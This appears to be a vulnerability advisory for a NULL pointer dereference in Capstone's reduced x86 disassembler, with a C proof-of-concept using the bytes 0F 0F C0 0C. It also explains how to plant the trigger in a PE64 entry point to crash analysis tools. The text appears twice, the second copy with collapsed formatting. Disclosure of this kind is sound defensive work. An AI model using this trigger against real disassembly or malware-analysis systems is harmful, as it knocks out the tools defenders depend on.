Summary
NULL pointer dereference in modRMRequired() and decode() when disassembling 3DNow! opcodes (0F 0F) in builds compiled with -DCAPSTONE_X86_REDUCE, allowing a remote attacker to crash any application using the reduced X86 Capstone library by supplying a crafted input containing the 4-byte sequence 0F 0F <modrm> <imm8>.
Details
- Vulnerable path:
readOpcode() in arch/X86/X86DisassemblerDecoder.c:905-914 unconditionally sets insn->opcodeType = THREEDNOW_MAP when the byte sequence 0F 0F is encountered. However, modRMRequired() at line 96-139 only handles THREEDNOW_MAP inside a #ifndef CAPSTONE_X86_REDUCE guard. In a REDUCE build the default: break path is taken, leaving indextable = NULL. The subsequent dereference indextable[insnContext] at line 139 causes a SIGSEGV.
- Secondary crash site:
decode() at lines 157-236 has the identical #ifdef asymmetry, the THREEDNOW_MAP case is guarded by #ifndef CAPSTONE_X86_REDUCE, so dec stays NULL and switch(dec->modrm_type) at line 236 dereferences NULL.
- Call chain:
cs_disasm → X86_getInstruction → decodeInstruction → readOpcode (sets THREEDNOW_MAP) → getID → getIDWithAttrMask → modRMRequired → NULL deref → crash.
- The crash occurs inside the decode pipeline before
cs_disasm() can return failure, so CS_OPT_SKIPDATA and cs_disasm_iter() do not mitigate the issue.
- Affected build tested: git describe → 6.0.0-Alpha5-34-g9a0a1607 (Capstone 6.0.0 build) with
-DCAPSTONE_X86_REDUCE=ON.
PoC
Reproduces NULL pointer dereference / SIGSEGV on any platform with the REDUCE build:
# Build Capstone with X86_REDUCE enabled
cmake -B build-reduce -DCAPSTONE_X86_REDUCE=ON \
-DCMAKE_BUILD_TYPE=Debug
cmake --build build-reduce -j4
// simple_repro.c
#include <stdio.h>
#include <capstone/capstone.h>
int main(void) {
csh handle;
cs_insn *insn;
size_t count;
// 0F 0F = 3DNow! escape, C0 = ModRM (mm0,mm0), 0C = opcode suffix (PI2FW)
uint8_t code[] = { 0x0F, 0x0F, 0xC0, 0x0C };
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) {
fprintf(stderr, "cs_open failed\n");
return 1;
}
// Crashes here in REDUCE build — NULL deref in modRMRequired()
count = cs_disasm(handle, code, sizeof(code), 0x1000, 0, &insn);
if (count > 0) {
cs_free(insn, count);
}
cs_close(&handle);
return 0;
}
# Compile and run
clang -Iinclude simple_repro.c build-reduce/libcapstone.a -o simple_repro
./simple_repro
# => SIGSEGV at X86DisassemblerDecoder.c:139
Impact
- Vulnerability: NULL pointer dereference (CWE-476) causing guaranteed process crash (DoS). No memory corruption but reliable and unavoidable once the trigger bytes are decoded.
- Who is impacted: Applications and tools that link Capstone built with
-DCAPSTONE_X86_REDUCE and disassemble untrusted x86/x86-64 input. Likely consumers include WASM-compiled browser disassembly tools, embedded/IoT firmware scanners, kernel-mode drivers (where a NULL deref causes BSOD — escalating from process DoS to host DoS), and automated malware analysis pipelines. The trigger is a 4-byte sequence that can be embedded in any file format containing machine code (PE, ELF, Mach-O, raw shellcode).
An attacker can weaponize this for DoS by embedding the trigger sequence at a predictable disassembly start point in a crafted binary. For example, in a PE64 executable, setting AddressOfEntryPoint to the base of .text and placing 0F 0F C0 0C at that offset ensures both entry-point-driven recursive descent and linear sweep disassemblers will decode the trigger as their first instruction. The crash occurs inside the decode pipeline before cs_disasm returns, so the calling application has no opportunity to handle the failure gracefully. Any automated analysis tool performing disassembly on untrusted binaries with a REDUCE-build Capstone will hit this on the first instruction fetch.
Summary
NULL pointer dereference in
modRMRequired()anddecode()when disassembling 3DNow! opcodes (0F 0F) in builds compiled with-DCAPSTONE_X86_REDUCE, allowing a remote attacker to crash any application using the reduced X86 Capstone library by supplying a crafted input containing the 4-byte sequence0F 0F <modrm> <imm8>.Details
readOpcode()inarch/X86/X86DisassemblerDecoder.c:905-914unconditionally setsinsn->opcodeType = THREEDNOW_MAPwhen the byte sequence0F 0Fis encountered. However,modRMRequired()at line 96-139 only handlesTHREEDNOW_MAPinside a#ifndef CAPSTONE_X86_REDUCEguard. In a REDUCE build thedefault: breakpath is taken, leavingindextable = NULL. The subsequent dereferenceindextable[insnContext]at line 139 causes a SIGSEGV.decode()at lines 157-236 has the identical#ifdefasymmetry, theTHREEDNOW_MAPcase is guarded by#ifndef CAPSTONE_X86_REDUCE, sodecstays NULL andswitch(dec->modrm_type)at line 236 dereferences NULL.cs_disasm→X86_getInstruction→decodeInstruction→readOpcode(setsTHREEDNOW_MAP) →getID→getIDWithAttrMask→modRMRequired→ NULL deref → crash.cs_disasm()can return failure, soCS_OPT_SKIPDATAandcs_disasm_iter()do not mitigate the issue.-DCAPSTONE_X86_REDUCE=ON.PoC
Reproduces NULL pointer dereference / SIGSEGV on any platform with the REDUCE build:
# Build Capstone with X86_REDUCE enabled cmake -B build-reduce -DCAPSTONE_X86_REDUCE=ON \ -DCMAKE_BUILD_TYPE=Debug cmake --build build-reduce -j4Impact
-DCAPSTONE_X86_REDUCEand disassemble untrusted x86/x86-64 input. Likely consumers include WASM-compiled browser disassembly tools, embedded/IoT firmware scanners, kernel-mode drivers (where a NULL deref causes BSOD — escalating from process DoS to host DoS), and automated malware analysis pipelines. The trigger is a 4-byte sequence that can be embedded in any file format containing machine code (PE, ELF, Mach-O, raw shellcode).An attacker can weaponize this for DoS by embedding the trigger sequence at a predictable disassembly start point in a crafted binary. For example, in a PE64 executable, setting
AddressOfEntryPointto the base of.textand placing0F 0F C0 0Cat that offset ensures both entry-point-driven recursive descent and linear sweep disassemblers will decode the trigger as their first instruction. The crash occurs inside the decode pipeline beforecs_disasmreturns, so the calling application has no opportunity to handle the failure gracefully. Any automated analysis tool performing disassembly on untrusted binaries with a REDUCE-build Capstone will hit this on the first instruction fetch.